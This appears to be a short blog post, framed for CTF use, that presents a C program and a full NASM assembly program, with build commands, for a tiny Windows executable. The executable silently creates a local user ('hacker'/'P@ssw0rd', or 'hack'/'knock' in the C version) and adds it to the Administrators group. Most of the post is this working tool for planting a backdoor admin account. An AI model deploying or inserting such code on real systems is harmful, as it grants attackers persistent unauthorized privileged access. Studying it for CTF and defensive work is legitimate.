A friend asked me for a small program to add a new local user to a Windows system and make that user member of the Administrators group (CTF anyone? 😉 ).
I could find a program in my repository, but it was a very old program using system commands.
#include <stdio.h> #include <windows.h> int main(int argc, char* argv[]) { system("net user hack knock /add"); system("net localgroup administrators hack /add"); return 0; }
; Assembly code to add a new local user and make it member of Administrators group ; Written for NASM assembler (http://www.nasm.us) by Didier Stevens ; https://DidierStevens.com ; Use at your own risk ; ; Build: ; nasm -f win32 add-admin.asm ; Microsoft linker: ; link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib ; https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/ ; /fixed -> no relocation section ; /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section ; /filealign:256 -> smaller, but no valid exe ; MinGW linker: ; ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32 ; ; History: ; 2020/03/13 ; 2020/03/14 refactor ; 2020/03/15 refactor BITS 32 %define USERNAME 'hacker' %define PASSWORD 'P@ssw0rd' %define ADMINISTRATORS 'administrators' global _main extern _NetUserAdd@16 extern _NetLocalGroupAddMembers@20 extern _ExitProcess@4 struc USER_INFO_1 .uName RESD 1 .Password RESD 1 .PasswordAge RESD 1 .Privilege RESD 1 .HomeDir RESD 1 .Comment RESD 1 .Flags RESD 1 .ScriptPath RESD 1 endstruc struc LOCALGROUP_MEMBERS_INFO_3 .lgrmi3_domainandname RESD 1 endstruc USER_PRIV_USER EQU 1 UF_SCRIPT EQU 1 section .text _main: mov ebp, esp sub esp, 4 ; NetUserAdd(NULL, level=1, buffer, NULL) lea eax, [ebp-4] push eax push UI1 push 1 push 0 call _NetUserAdd@16 ; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1) push 1 push LMI3 push 3 push ADMINISTRATORS_UNICODE push 0 call _NetLocalGroupAddMembers@20 ; ExitProcess(0) push 0 call _ExitProcess@4 ; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section) ; section .data UI1: istruc USER_INFO_1 at USER_INFO_1.uName, dd USERNAME_UNICODE at USER_INFO_1.Password, dd PASSWORD_UNICODE at USER_INFO_1.PasswordAge, dd 0 at USER_INFO_1.Privilege, dd USER_PRIV_USER at USER_INFO_1.HomeDir, dd 0 at USER_INFO_1.Comment, dd 0 at USER_INFO_1.Flags, dd UF_SCRIPT at USER_INFO_1.ScriptPath, dd 0 iend USERNAME_UNICODE: db __utf16le__(USERNAME), 0, 0 PASSWORD_UNICODE: db __utf16le__(PASSWORD), 0, 0 ADMINISTRATORS_UNICODE: db __utf16le__(ADMINISTRATORS), 0, 0 LMI3: istruc LOCALGROUP_MEMBERS_INFO_3 at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE iend
To create the executable, you need to assemble and link this assembly code (this is not shellcode, just assembling is not enough).
Assembling is done with nasm (-f win32 to create a 32-bit object file):
nasm -f win32 add-admin.asm
Linking can be done with Microsoft’s linker (see Quickpost: Compiling with Build Tools for Visual Studio 2017) or MinGW‘s linker.
MS:
link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
I use /fixed so prevent the creation of a relocation section, which would make the EXE larger.
MinGW:
ld -L /c/msys64/mingw32/i686-w64-mingw32/lib –strip-all add-admin.obj -l netapi32 -l kernel32
In both cases, the EXE is 1536 bytes long.